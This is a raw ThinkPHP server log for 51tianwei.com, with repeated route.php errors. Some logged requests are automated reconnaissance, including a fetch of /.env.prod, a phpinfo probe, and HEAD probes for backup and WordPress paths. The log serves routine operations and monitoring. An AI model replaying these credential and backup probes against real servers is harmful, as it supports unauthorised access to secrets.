INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:40:16+08:00 ] 179.43.168.146 GET 59.110.137.245/.env.prod [运行时间:0.001979s] [吞吐率:505.34req/s] [内存消耗:132.30kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env.prod', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:40:17+08:00 ] 179.43.168.146 GET 59.110.137.245/linusadmin-phpinfo.php [运行时间:0.001993s] [吞吐率:501.77req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'linusadmin-phpinfo.php', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:45:07+08:00 ] 93.174.93.12 GET / [运行时间:0.019967s] [吞吐率:50.08req/s] [内存消耗:159.78kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Linux; Android 9; SM-G965F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.101 Mobile Safari/537.36', 'accept' => '*/*', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] [ error ] [8]未定义数组索引: HTTP_HOST[/data/wwwroot/tianwei/think/runtime/route.php:34] --------------------------------------------------------------- [ 2024-11-14T13:58:55+08:00 ] 154.213.184.43 GET 59.110.137.245:80/ [运行时间:0.001675s] [吞吐率:596.97req/s] [内存消耗:159.24kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245:80', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] [ error ] [8]未定义数组索引: HTTP_USER_AGENT[/data/wwwroot/tianwei/think/runtime/route.php:32] --------------------------------------------------------------- [ 2024-11-14T13:59:32+08:00 ] 199.45.154.153 GET 59.110.137.245:80/ [运行时间:0.001425s] [吞吐率:701.74req/s] [内存消耗:159.24kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245:80', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] [ error ] [8]未定义数组索引: HTTP_USER_AGENT[/data/wwwroot/tianwei/think/runtime/route.php:32] --------------------------------------------------------------- [ 2024-11-14T13:59:41+08:00 ] 199.45.154.153 GET 59.110.137.245/ [运行时间:0.001283s] [吞吐率:779.32req/s] [内存消耗:159.55kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)', 'accept' => '*/*', 'accept-encoding' => 'gzip', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:59:42+08:00 ] 199.45.154.153 GET 59.110.137.245/favicon.ico [运行时间:0.005211s] [吞吐率:191.90req/s] [内存消耗:132.65kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'favicon.ico', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T14:09:21+08:00 ] 5.8.11.202 GET / [运行时间:0.001514s] [吞吐率:660.52req/s] [内存消耗:159.78kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36', 'accept' => '*/*', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] [ error ] [8]未定义数组索引: HTTP_HOST[/data/wwwroot/tianwei/think/runtime/route.php:34] --------------------------------------------------------------- [ 2024-11-14T14:13:45+08:00 ] 149.50.106.25 GET 59.110.137.245:80/ [运行时间:0.001444s] [吞吐率:692.59req/s] [内存消耗:159.24kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245:80', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] [ error ] [8]未定义数组索引: HTTP_USER_AGENT[/data/wwwroot/tianwei/think/runtime/route.php:32] --------------------------------------------------------------- [ 2024-11-14T14:18:51+08:00 ] 52.237.213.186 HEAD 51tianwei.com/wordpress [运行时间:0.006266s] [吞吐率:159.59req/s] [内存消耗:132.59kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'wordpress', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T14:18:51+08:00 ] 52.237.213.186 HEAD 51tianwei.com/ [运行时间:0.001503s] [吞吐率:665.34req/s] [内存消耗:159.69kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T14:18:52+08:00 ] 52.237.213.186 HEAD 51tianwei.com/wp [运行时间:0.001661s] [吞吐率:602.02req/s] [内存消耗:132.55kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'wp', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T14:18:52+08:00 ] 52.237.213.186 HEAD 51tianwei.com/bc [运行时间:0.001578s] [吞吐率:633.68req/s] [内存消耗:132.55kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'bc', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T14:18:52+08:00 ] 52.237.213.186 HEAD 51tianwei.com/bk [运行时间:0.001623s] [吞吐率:616.18req/s] [内存消耗:132.55kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'bk', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T14:18:52+08:00 ] 52.237.213.186 HEAD 51tianwei.com/backup [运行时间:0.001573s] [吞吐率:635.79req/s] [内存消耗:132.56kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'backup', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T14:18:52+08:00 ] 52.237.213.186 HEAD 51tianwei.com/old [运行时间:0.001613s] [吞吐率:620.00req/s] [内存消耗:132.56kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'old', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T14:18:52+08:00 ] 52.237.213.186 HEAD 51tianwei.com/new [运行时间:0.001665s] [吞吐率:600.65req/s] [内存消耗:132.56kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'new', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T14:18:53+08:00 ] 52.237.213.186 HEAD 51tianwei.com/main [运行时间:0.001666s] [吞吐率:600.22req/s] [内存消耗:132.56kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'main', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T14:18:53+08:00 ] 52.237.213.186 HEAD 51tianwei.com/home [运行时间:0.001625s] [吞吐率:615.36req/s] [内存消耗:132.56kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'home', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T14:21:46+08:00 ] 218.66.171.228 HEAD ugchsy.gtimg.com/B_JxNyiJmktHRgresXhfyMeo0OMfzcULAjGc9d2SJDvJ3CFyuoEhqiMj_As01mpMs3/svp_50001/szg_5398_50001_0bf2saaaoaaagyamttpxujqfdegda6iaab2a.f622.mp4?vkey=CF1CE60AAD905EE996C47E9B2EC2CEA3FA5DDDACFF168598D76677E879150394EA7DF8C518777F91E555524EEFCD59D8742BEF3E2A451742A76290AE4FF71379AB5BDF7D58A0A08F8DA626F289ACEF9E4B6C81A3C603438C3FACBB2C7282E05E7767CBE8E60F9DA110A888ACA57E245D32E4F8FD7F1E1A2F3604540F84774CE97813CBC87044FF90 [运行时间:0.001725s] [吞吐率:579.64req/s] [内存消耗:134.91kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'B_JxNyiJmktHRgresXhfyMeo0OMfzcULAjGc9d2SJDvJ3CFyuoEhqiMj_As01mpMs3', 2 => 'svp_50001', ), ) [ info ] [ HEADER ] array ( 'accept-encoding' => 'identity', 'host' => 'ugchsy.gtimg.com', 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:107.0) Gecko/20100101 Firefox/107.0', 'referer' => 'http://ugchsy.gtimg.com', ) [ info ] [ PARAM ] array ( 'vkey' => 'CF1CE60AAD905EE996C47E9B2EC2CEA3FA5DDDACFF168598D76677E879150394EA7DF8C518777F91E555524EEFCD59D8742BEF3E2A451742A76290AE4FF71379AB5BDF7D58A0A08F8DA626F289ACEF9E4B6C81A3C603438C3FACBB2C7282E05E7767CBE8E60F9DA110A888ACA57E245D32E4F8FD7F1E1A2F3604540F84774CE97813CBC87044FF90', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] --------------------------------------------------------------- [ 2024-11-14T14:29:51+08:00 ] 179.43.191.98 GET 59.110.137.245/ 